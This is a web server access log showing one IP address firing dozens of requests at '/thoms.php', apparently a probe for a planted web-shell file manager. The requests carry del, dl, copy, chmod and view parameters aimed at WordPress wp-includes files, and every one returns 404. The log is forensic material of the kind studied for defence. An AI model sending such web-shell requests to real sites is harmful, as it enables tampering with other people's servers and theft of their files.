45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?del=https-migration.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=https-migration.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?del=meta.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=meta.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2FSimplePie HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2FSimplePie" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=cache-compat.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=cache-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?chmod=class-wp-locale-switcher.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale-switcher.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=pluggable.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=pluggable.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=taxonomy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fblock-patterns HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fblock-patterns" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?dl=class-wp-block-type.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?del=class-wp-comment.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-comment.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?dl=class-wp-http-requests-hooks.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-hooks.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:20 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-table.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-table.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:21 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-source.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-source.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:21 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:21 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=ms-default-constants.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=ms-default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:21 -0400] "GET /thoms.php?dl=vars.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=vars.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:21 -0400] "GET /thoms.php?del=widgets&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:21 -0400] "GET /thoms.php?dl=author-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=author-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:21 -0400] "GET /thoms.php?dl=bookmark-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=bookmark-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:21 -0400] "GET /thoms.php?del=class-wp-textdomain-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-textdomain-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:21 -0400] "GET /thoms.php?dl=class.wp-styles.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class.wp-styles.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:21 -0400] "GET /thoms.php?dl=admin-bar.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-bar.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:21 -0400] "GET /thoms.php?dl=class-feed.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-feed.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:21 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:21 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:21 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-customize-setting.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-customize-setting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:21 -0400] "GET /thoms.php?dl=class-wp-http.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:21 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-session-tokens.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:22 -0400] "GET /thoms.php?chmod=class-walker-nav-menu.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-nav-menu.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:22 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-application-passwords.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-application-passwords.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:22 -0400] "GET /thoms.php?del=class-wp-customize-widgets.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-widgets.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:22 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:22 -0400] "GET /thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:22 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fcomment-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fcomment-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:22 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=global-styles-and-settings.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=global-styles-and-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:22 -0400] "GET /thoms.php?dl=block-template-utils.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-template-utils.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:22 -0400] "GET /thoms.php?chmod=class-wp-post-type.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post-type.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:22 -0400] "GET /thoms.php?del=kses.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=kses.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:22 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=view-transitions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=view-transitions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:22 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-smtp.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-smtp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:22 -0400] "GET /thoms.php?chmod=class-walker-category-dropdown.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category-dropdown.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:22 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class.wp-dependencies.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class.wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:22 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=compat-utf8.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=compat-utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:22 -0400] "GET /thoms.php?chmod=default-constants.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=default-constants.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:23 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ffonts.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ffonts.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:23 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=ms-blogs.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=ms-blogs.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:23 -0400] "GET /thoms.php?dl=ms-deprecated.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-deprecated.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:23 -0400] "GET /thoms.php?chmod=class-http.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-http.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:23 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:23 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:23 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Frobots-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Frobots-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:23 -0400] "GET /thoms.php?del=template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:23 -0400] "GET /thoms.php?chmod=class-wp-block-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:23 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:23 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:23 -0400] "GET /thoms.php?dl=class-wp-user-meta-session-tokens.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-meta-session-tokens.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:23 -0400] "GET /thoms.php?dl=compat.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=compat.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:23 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:23 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fsodium_compat HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fsodium_compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:23 -0400] "GET /thoms.php?del=category-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=category-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:24 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:24 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:24 -0400] "GET /thoms.php?chmod=class-wp-rewrite.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-rewrite.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:24 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:24 -0400] "GET /thoms.php?chmod=abilities-api.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=abilities-api.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
